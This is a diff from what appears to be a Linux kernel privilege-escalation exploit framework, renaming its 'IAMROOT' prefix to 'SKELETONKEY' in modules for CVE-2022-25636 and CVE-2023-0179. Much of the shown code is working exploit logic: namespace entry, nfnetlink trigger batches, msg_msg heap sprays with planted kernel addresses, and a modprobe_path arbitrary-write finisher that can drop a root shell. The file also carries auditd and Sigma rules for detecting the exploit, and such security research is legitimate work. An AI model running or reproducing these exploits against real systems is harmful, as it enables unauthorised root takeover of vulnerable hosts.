*(uint32_t *)(p.mtext + 12) = MSG_TAG_GROOM; *(uint32_t *)(p.mtext + 12) = MSG_TAG_GROOM;
int created = 0; int created = 0;
@@ -614,7 +614,7 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
* lockdep, KASAN can all shift it). We ship the layout for an * lockdep, KASAN can all shift it). We ship the layout for an
* un-randomized x86_64 build in the exploitable range and rely on * un-randomized x86_64 build in the exploitable range and rely on
* the shared finisher's sentinel-file post-check to flag layout * the shared finisher's sentinel-file post-check to flag layout
* mismatches as IAMROOT_EXPLOIT_FAIL rather than fake success. * mismatches as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
#ifdef __linux__ #ifdef __linux__
@@ -646,7 +646,7 @@ static int spray_forged_action_entries(struct fwd_arb_ctx *c,
memset(&p, 0, sizeof p); memset(&p, 0, sizeof p);
p.mtype = 0x52; /* 'R' */ p.mtype = 0x52; /* 'R' */
memset(p.mtext, 0x52, sizeof p.mtext); memset(p.mtext, 0x52, sizeof p.mtext);
memcpy(p.mtext, "IAMROOT_FWD_A", 13); memcpy(p.mtext, "SKELETONKEY_FWD_A", 13);
*(uint32_t *)(p.mtext + 16) = MSG_TAG_ARB; *(uint32_t *)(p.mtext + 16) = MSG_TAG_ARB;
/* Plant kaddr at strided 0x10-byte offsets across the first /* Plant kaddr at strided 0x10-byte offsets across the first
@@ -727,22 +727,22 @@ static int nft_fwd_dup_arb_write(uintptr_t kaddr,
* Exploit driver. * Exploit driver.
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ctx)
{ {
/* Gate 0: explicit user authorization. */ /* Gate 0: explicit user authorization. */
if (!ctx->authorized) { if (!ctx->authorized) {
fprintf(stderr, "[-] nft_fwd_dup: refusing without --i-know\n"); fprintf(stderr, "[-] nft_fwd_dup: refusing without --i-know\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
/* Gate 1: already root? */ /* Gate 1: already root? */
if (geteuid() == 0) { if (geteuid() == 0) {
if (!ctx->json) if (!ctx->json)
fprintf(stderr, "[i] nft_fwd_dup: already running as root\n"); fprintf(stderr, "[i] nft_fwd_dup: already running as root\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* Gate 2: re-detect — kernel patched / userns denied since scan. */ /* Gate 2: re-detect — kernel patched / userns denied since scan. */
iamroot_result_t pre = nft_fwd_dup_detect(ctx); skeletonkey_result_t pre = nft_fwd_dup_detect(ctx);
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nft_fwd_dup: detect() says not vulnerable; " fprintf(stderr, "[-] nft_fwd_dup: detect() says not vulnerable; "
"refusing\n"); "refusing\n");
return pre; return pre;
@@ -751,7 +751,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
#ifndef __linux__ #ifndef __linux__
fprintf(stderr, "[-] nft_fwd_dup: linux-only exploit; non-linux build\n"); fprintf(stderr, "[-] nft_fwd_dup: linux-only exploit; non-linux build\n");
(void)ctx; (void)ctx;
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
#else #else
if (!ctx->json) { if (!ctx->json) {
if (ctx->full_chain) { if (ctx->full_chain) {
@@ -768,28 +768,28 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
/* --- --full-chain path: resolve offsets before forking ---------- * /* --- --full-chain path: resolve offsets before forking ---------- *
* Refuse cleanly if we can't reach modprobe_path. */ * Refuse cleanly if we can't reach modprobe_path. */
if (ctx->full_chain) { if (ctx->full_chain) {
struct iamroot_kernel_offsets off; struct skeletonkey_kernel_offsets off;
iamroot_offsets_resolve(&off); skeletonkey_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) { if (!skeletonkey_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("nft_fwd_dup"); skeletonkey_finisher_print_offset_help("nft_fwd_dup");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
iamroot_offsets_print(&off); skeletonkey_offsets_print(&off);
if (enter_unpriv_namespaces() < 0) { if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nft_fwd_dup: userns entry failed\n"); fprintf(stderr, "[-] nft_fwd_dup: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
(void)bring_lo_up(); (void)bring_lo_up();
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER); int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (sock < 0) { if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)"); perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
struct sockaddr_nl src = { .nl_family = AF_NETLINK }; struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) { if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL; perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
} }
int rcvbuf = 1 << 20; int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf); setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
@@ -804,7 +804,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
} }
uint8_t *batch = calloc(1, 32 * 1024); uint8_t *batch = calloc(1, 32 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; } if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
uint32_t seq = (uint32_t)time(NULL); uint32_t seq = (uint32_t)time(NULL);
size_t blen = build_trigger_batch(batch, &seq); size_t blen = build_trigger_batch(batch, &seq);
@@ -817,7 +817,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] nft_fwd_dup: trigger batch send failed\n"); fprintf(stderr, "[-] nft_fwd_dup: trigger batch send failed\n");
drain_msg_msg(qids, SPRAY_QUEUES_GROOM); drain_msg_msg(qids, SPRAY_QUEUES_GROOM);
free(batch); close(sock); free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
struct fwd_arb_ctx ac = { struct fwd_arb_ctx ac = {
@@ -828,7 +828,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
.qused = SPRAY_QUEUES_GROOM, .qused = SPRAY_QUEUES_GROOM,
}; };
iamroot_result_t r = iamroot_finisher_modprobe_path( skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(
&off, nft_fwd_dup_arb_write, &ac, !ctx->no_shell); &off, nft_fwd_dup_arb_write, &ac, !ctx->no_shell);
drain_msg_msg(qids, ac.qused); drain_msg_msg(qids, ac.qused);
@@ -839,7 +839,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
/* --- primitive-only path: fork-isolated trigger ---------------- */ /* --- primitive-only path: fork-isolated trigger ---------------- */
pid_t child = fork(); pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; } if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) { if (child == 0) {
/* CHILD: namespace + trigger. */ /* CHILD: namespace + trigger. */
@@ -890,7 +890,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
if (after < 0) after = slab_active("kmalloc-cg-512"); if (after < 0) after = slab_active("kmalloc-cg-512");
/* Breadcrumb for triage. */ /* Breadcrumb for triage. */
FILE *log = fopen("/tmp/iamroot-nft_fwd_dup.log", "w"); FILE *log = fopen("/tmp/skeletonkey-nft_fwd_dup.log", "w");
if (log) { if (log) {
fprintf(log, fprintf(log,
"nft_fwd_dup trigger child: queues=%d slab-512 pre=%ld post=%ld\n", "nft_fwd_dup trigger child: queues=%d slab-512 pre=%ld post=%ld\n",
@@ -919,7 +919,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
"likely fired (KASAN/oops can manifest as signal)\n", "likely fired (KASAN/oops can manifest as signal)\n",
WTERMSIG(status)); WTERMSIG(status));
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
int rc = WEXITSTATUS(status); int rc = WEXITSTATUS(status);
@@ -933,19 +933,19 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
" the kaddr-tagged forged-entry spray reaches\n" " the kaddr-tagged forged-entry spray reaches\n"
" the shared modprobe_path finisher.\n"); " the shared modprobe_path finisher.\n");
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (rc >= 20 && rc <= 24) { if (rc >= 20 && rc <= 24) {
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] nft_fwd_dup: trigger setup failed " fprintf(stderr, "[-] nft_fwd_dup: trigger setup failed "
"(child rc=%d)\n", rc); "(child rc=%d)\n", rc);
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc); fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc);
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
#endif /* __linux__ */ #endif /* __linux__ */
} }
@@ -953,7 +953,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
* Cleanup drain leftover sysv queues and unlink the breadcrumb. * Cleanup drain leftover sysv queues and unlink the breadcrumb.
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx) static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ctx)
{ {
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n"); fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n");
@@ -980,10 +980,10 @@ static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx)
fclose(f); fclose(f);
} }
#endif #endif
if (unlink("/tmp/iamroot-nft_fwd_dup.log") < 0 && errno != ENOENT) { if (unlink("/tmp/skeletonkey-nft_fwd_dup.log") < 0 && errno != ENOENT) {
/* harmless */ /* harmless */
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* ------------------------------------------------------------------ /* ------------------------------------------------------------------
@@ -995,16 +995,16 @@ static const char nft_fwd_dup_auditd[] =
"# Flag the canonical exploit shape: unprivileged userns followed\n" "# Flag the canonical exploit shape: unprivileged userns followed\n"
"# by NEWTABLE/NEWCHAIN(NFT_CHAIN_HW_OFFLOAD)/NEWRULE traffic on\n" "# by NEWTABLE/NEWCHAIN(NFT_CHAIN_HW_OFFLOAD)/NEWRULE traffic on\n"
"# AF_NETLINK NETLINK_NETFILTER, plus the msg_msg cross-cache spray.\n" "# AF_NETLINK NETLINK_NETFILTER, plus the msg_msg cross-cache spray.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft-fwd-dup-userns\n" "-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-fwd-dup-userns\n"
"-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k iamroot-nft-fwd-dup-netlink\n" "-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k skeletonkey-nft-fwd-dup-netlink\n"
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-nft-fwd-dup-batch\n" "-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-nft-fwd-dup-batch\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft-fwd-dup-spray\n" "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft-fwd-dup-spray\n"
"# Post-exploit hallmarks (modprobe_path overwrite path):\n" "# Post-exploit hallmarks (modprobe_path overwrite path):\n"
"-w /tmp/iamroot-mp- -p w -k iamroot-nft-fwd-dup-modprobe\n"; "-w /tmp/skeletonkey-mp- -p w -k skeletonkey-nft-fwd-dup-modprobe\n";
static const char nft_fwd_dup_sigma[] = static const char nft_fwd_dup_sigma[] =
"title: Possible CVE-2022-25636 nft_fwd_dup_netdev_offload OOB exploitation\n" "title: Possible CVE-2022-25636 nft_fwd_dup_netdev_offload OOB exploitation\n"
"id: 3c1f9b27-iamroot-nft-fwd-dup\n" "id: 3c1f9b27-skeletonkey-nft-fwd-dup\n"
"status: experimental\n" "status: experimental\n"
"description: |\n" "description: |\n"
" Detects unprivileged user namespace creation followed by\n" " Detects unprivileged user namespace creation followed by\n"
@@ -1024,7 +1024,7 @@ static const char nft_fwd_dup_sigma[] =
"level: high\n" "level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n"; "tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n";
const struct iamroot_module nft_fwd_dup_module = { const struct skeletonkey_module nft_fwd_dup_module = {
.name = "nft_fwd_dup", .name = "nft_fwd_dup",
.cve = "CVE-2022-25636", .cve = "CVE-2022-25636",
.summary = "nft_fwd_dup_netdev_offload heap OOB write (Aaron Adams)", .summary = "nft_fwd_dup_netdev_offload heap OOB write (Aaron Adams)",
@@ -1041,7 +1041,7 @@ const struct iamroot_module nft_fwd_dup_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_nft_fwd_dup(void) void skeletonkey_register_nft_fwd_dup(void)
{ {
iamroot_register(&nft_fwd_dup_module); skeletonkey_register(&nft_fwd_dup_module);
} }
@@ -0,0 +1,12 @@
/*
* nft_fwd_dup_cve_2022_25636 — SKELETONKEY module registry hook
*/
#ifndef NFT_FWD_DUP_SKELETONKEY_MODULES_H
#define NFT_FWD_DUP_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nft_fwd_dup_module;
#endif
+1 -1
View File
@@ -20,7 +20,7 @@ Upstream fix: mainline 6.2-rc4 (commit `696e1a48b1a1`, Jan 2023).
Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 /
5.15.88 / 6.1.6. 5.15.88 / 6.1.6.
## IAMROOT role ## SKELETONKEY role
userns+netns. Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN → userns+netns. Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN →
NEWSET with `NFTA_SET_DESC` describing variable-length elements → NEWSET with `NFTA_SET_DESC` describing variable-length elements →
@@ -1,12 +0,0 @@
/*
* nft_payload_cve_2023_0179 — IAMROOT module registry hook
*/
#ifndef NFT_PAYLOAD_IAMROOT_MODULES_H
#define NFT_PAYLOAD_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nft_payload_module;
#endif
@@ -1,5 +1,5 @@
/* /*
* nft_payload_cve_2023_0179 IAMROOT module * nft_payload_cve_2023_0179 SKELETONKEY module
* *
* Netfilter nf_tables variable-length element-extension OOB R/W. * Netfilter nf_tables variable-length element-extension OOB R/W.
* Discovered January 2023 by Davide Ornaghi. nf_tables payload set/get * Discovered January 2023 by Davide Ornaghi. nf_tables payload set/get
@@ -25,12 +25,12 @@
* payload-set whose attacker-controlled verdict.code drives the * payload-set whose attacker-controlled verdict.code drives the
* OOB), spray msg_msg payloads adjacent to the regs->data target, * OOB), spray msg_msg payloads adjacent to the regs->data target,
* fires a synthetic packet through the chain, snapshots * fires a synthetic packet through the chain, snapshots
* /proc/slabinfo, logs to /tmp/iamroot-nft_payload.log, returns * /proc/slabinfo, logs to /tmp/skeletonkey-nft_payload.log, returns
* IAMROOT_EXPLOIT_FAIL (primitive-only behavior). * SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
* - With --full-chain: after the trigger lands, we resolve kernel * - With --full-chain: after the trigger lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run * offsets (env kallsyms System.map embedded table) and run
* a Davide-Ornaghi-style payload-set arb-write via the shared * a Davide-Ornaghi-style payload-set arb-write via the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself * skeletonkey_finisher_modprobe_path() helper. The arb-write itself
* is FALLBACK-DEPTH: we refire the set-element registration with * is FALLBACK-DEPTH: we refire the set-element registration with
* a verdict code chosen so the OOB index lands on a msg_msg slot * a verdict code chosen so the OOB index lands on a msg_msg slot
* we tagged with the caller's kaddr + payload bytes. The exact * we tagged with the caller's kaddr + payload bytes. The exact
@@ -47,7 +47,7 @@
* unprivileged user even on a kernel-vulnerable host. * unprivileged user even on a kernel-vulnerable host.
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
#include "../../core/offsets.h" #include "../../core/offsets.h"
@@ -129,12 +129,12 @@ static bool nf_tables_loaded(void)
return found; return found;
} }
static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
{ {
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nft_payload: could not parse kernel version\n"); fprintf(stderr, "[!] nft_payload: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* Bug introduced with the set-payload extension in 5.4. Anything /* Bug introduced with the set-payload extension in 5.4. Anything
@@ -145,7 +145,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
"(set-payload extension landed in 5.4)\n", "(set-payload extension landed in 5.4)\n",
v.release); v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
bool patched = kernel_range_is_patched(&nft_payload_range, &v); bool patched = kernel_range_is_patched(&nft_payload_range, &v);
@@ -153,7 +153,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v.release); fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
int userns_ok = can_unshare_userns(); int userns_ok = can_unshare_userns();
@@ -177,14 +177,14 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_payload: still patch the kernel — a root " fprintf(stderr, "[i] nft_payload: still patch the kernel — a root "
"attacker can still trigger the bug\n"); "attacker can still trigger the bug\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[!] nft_payload: VULNERABLE — kernel in range AND " fprintf(stderr, "[!] nft_payload: VULNERABLE — kernel in range AND "
"user_ns clone allowed\n"); "user_ns clone allowed\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
#ifdef __linux__ #ifdef __linux__
@@ -225,7 +225,7 @@ static int enter_unpriv_namespaces(void)
/* ------------------------------------------------------------------ /* ------------------------------------------------------------------
* Minimal nfnetlink batch builder same shape as nf_tables_cve_2024_1086 * Minimal nfnetlink batch builder same shape as nf_tables_cve_2024_1086
* to keep the IAMROOT family code self-consistent; we inline rather * to keep the SKELETONKEY family code self-consistent; we inline rather
* than link against the other module so a future refactor can pull the * than link against the other module so a future refactor can pull the
* helpers up into core/ without breaking either consumer. * helpers up into core/ without breaking either consumer.
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
@@ -341,9 +341,9 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
* Per-module strings. * Per-module strings.
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_pl_t"; static const char NFT_TABLE_NAME[] = "skeletonkey_pl_t";
static const char NFT_CHAIN_NAME[] = "iamroot_pl_c"; static const char NFT_CHAIN_NAME[] = "skeletonkey_pl_c";
static const char NFT_SET_NAME[] = "iamroot_pl_s"; static const char NFT_SET_NAME[] = "skeletonkey_pl_s";
/* NFT expression "name" attributes are NUL-terminated short strings. */ /* NFT expression "name" attributes are NUL-terminated short strings. */
#define NFT_EXPR_PAYLOAD_NAME "payload" #define NFT_EXPR_PAYLOAD_NAME "payload"
@@ -373,7 +373,7 @@ static const char NFT_SET_NAME[] = "iamroot_pl_s";
* exploitable range. The exact "right" magic is per-build; we ship a * exploitable range. The exact "right" magic is per-build; we ship a
* default that matched Davide's PoC on a stock 5.15 build and rely on * default that matched Davide's PoC on a stock 5.15 build and rely on
* the finisher's sentinel-file post-check to flag a layout mismatch as * the finisher's sentinel-file post-check to flag a layout mismatch as
* IAMROOT_EXPLOIT_FAIL rather than fake success. */ * SKELETONKEY_EXPLOIT_FAIL rather than fake success. */
#define NFT_PAYLOAD_OOB_INDEX_DEFAULT 0x100 #define NFT_PAYLOAD_OOB_INDEX_DEFAULT 0x100
/* ------------------------------------------------------------------ /* ------------------------------------------------------------------
@@ -685,7 +685,7 @@ static void trigger_packet(void)
dst.sin_port = htons(31337); dst.sin_port = htons(31337);
dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK); dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
const char m[] = "iamroot-nft_payload-trigger"; const char m[] = "skeletonkey-nft_payload-trigger";
for (int i = 0; i < 8; i++) { for (int i = 0; i < 8; i++) {
(void)!sendto(s, m, sizeof m, MSG_DONTWAIT, (void)!sendto(s, m, sizeof m, MSG_DONTWAIT,
(struct sockaddr *)&dst, sizeof dst); (struct sockaddr *)&dst, sizeof dst);
@@ -732,7 +732,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq,
* KASAN, lockdep, kernel build options all shift it). The shipped * KASAN, lockdep, kernel build options all shift it). The shipped
* default oob_index matches Davide's PoC on a stock 5.15 build; the * default oob_index matches Davide's PoC on a stock 5.15 build; the
* shared finisher's sentinel-file post-check flags layout mismatch as * shared finisher's sentinel-file post-check flags layout mismatch as
* IAMROOT_EXPLOIT_FAIL rather than fake success. * SKELETONKEY_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
struct nft_payload_arb_ctx { struct nft_payload_arb_ctx {
@@ -807,21 +807,21 @@ static int nft_payload_arb_write(uintptr_t kaddr, const void *buf, size_t len,
* Exploit body. * Exploit body.
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ctx)
{ {
if (!ctx->authorized) { if (!ctx->authorized) {
fprintf(stderr, "[-] nft_payload: refusing — --i-know not passed; " fprintf(stderr, "[-] nft_payload: refusing — --i-know not passed; "
"exploit code can crash the kernel\n"); "exploit code can crash the kernel\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (geteuid() == 0) { if (geteuid() == 0) {
if (!ctx->json) if (!ctx->json)
fprintf(stderr, "[i] nft_payload: already running as root\n"); fprintf(stderr, "[i] nft_payload: already running as root\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
iamroot_result_t pre = nft_payload_detect(ctx); skeletonkey_result_t pre = nft_payload_detect(ctx);
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nft_payload: detect() says not vulnerable; refusing\n"); fprintf(stderr, "[-] nft_payload: detect() says not vulnerable; refusing\n");
return pre; return pre;
} }
@@ -841,35 +841,35 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
#ifndef __linux__ #ifndef __linux__
(void)ctx; (void)ctx;
fprintf(stderr, "[-] nft_payload: linux-only exploit; non-linux build\n"); fprintf(stderr, "[-] nft_payload: linux-only exploit; non-linux build\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
#else #else
/* --- --full-chain path: resolve offsets in parent before doing /* --- --full-chain path: resolve offsets in parent before doing
* anything destructive. */ * anything destructive. */
if (ctx->full_chain) { if (ctx->full_chain) {
struct iamroot_kernel_offsets off; struct skeletonkey_kernel_offsets off;
memset(&off, 0, sizeof off); memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off); skeletonkey_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) { if (!skeletonkey_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("nft_payload"); skeletonkey_finisher_print_offset_help("nft_payload");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
iamroot_offsets_print(&off); skeletonkey_offsets_print(&off);
if (enter_unpriv_namespaces() < 0) { if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nft_payload: userns entry failed\n"); fprintf(stderr, "[-] nft_payload: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
NETLINK_NETFILTER); NETLINK_NETFILTER);
if (sock < 0) { if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)"); perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
struct sockaddr_nl src = { .nl_family = AF_NETLINK }; struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) { if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); perror("[-] bind"); close(sock);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
int rcvbuf = 1 << 20; int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf); setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
@@ -887,7 +887,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
} }
uint8_t *batch = calloc(1, 16 * 1024); uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; } if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
uint32_t seq = (uint32_t)time(NULL); uint32_t seq = (uint32_t)time(NULL);
size_t blen = build_trigger_batch(batch, 16 * 1024, &seq, size_t blen = build_trigger_batch(batch, 16 * 1024, &seq,
@@ -901,7 +901,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
drain_queues(qids_small, SPRAY_QUEUES_SMALL); drain_queues(qids_small, SPRAY_QUEUES_SMALL);
drain_queues(qids_large, SPRAY_QUEUES_LARGE); drain_queues(qids_large, SPRAY_QUEUES_LARGE);
free(batch); close(sock); free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
struct nft_payload_arb_ctx ac = { struct nft_payload_arb_ctx ac = {
@@ -917,10 +917,10 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
.arb_calls = 0, .arb_calls = 0,
}; };
iamroot_result_t r = iamroot_finisher_modprobe_path( skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(
&off, nft_payload_arb_write, &ac, !ctx->no_shell); &off, nft_payload_arb_write, &ac, !ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-nft_payload.log", "a"); FILE *fl = fopen("/tmp/skeletonkey-nft_payload.log", "a");
if (fl) { if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d " fprintf(fl, "full_chain finisher rc=%d arb_calls=%d "
"spray_small=%d spray_large=%d\n", "spray_small=%d spray_large=%d\n",
@@ -936,9 +936,9 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
} }
/* --- primitive-only path: fork-isolated trigger so a kernel oops /* --- primitive-only path: fork-isolated trigger so a kernel oops
* doesn't take down the iamroot driver. */ * doesn't take down the skeletonkey driver. */
pid_t child = fork(); pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; } if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) { if (child == 0) {
/* --- CHILD --- */ /* --- CHILD --- */
@@ -1016,7 +1016,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
pre_96, post_96); pre_96, post_96);
} }
FILE *log = fopen("/tmp/iamroot-nft_payload.log", "w"); FILE *log = fopen("/tmp/skeletonkey-nft_payload.log", "w");
if (log) { if (log) {
fprintf(log, fprintf(log,
"nft_payload trigger child: spray_small=%d spray_large=%d " "nft_payload trigger child: spray_small=%d spray_large=%d "
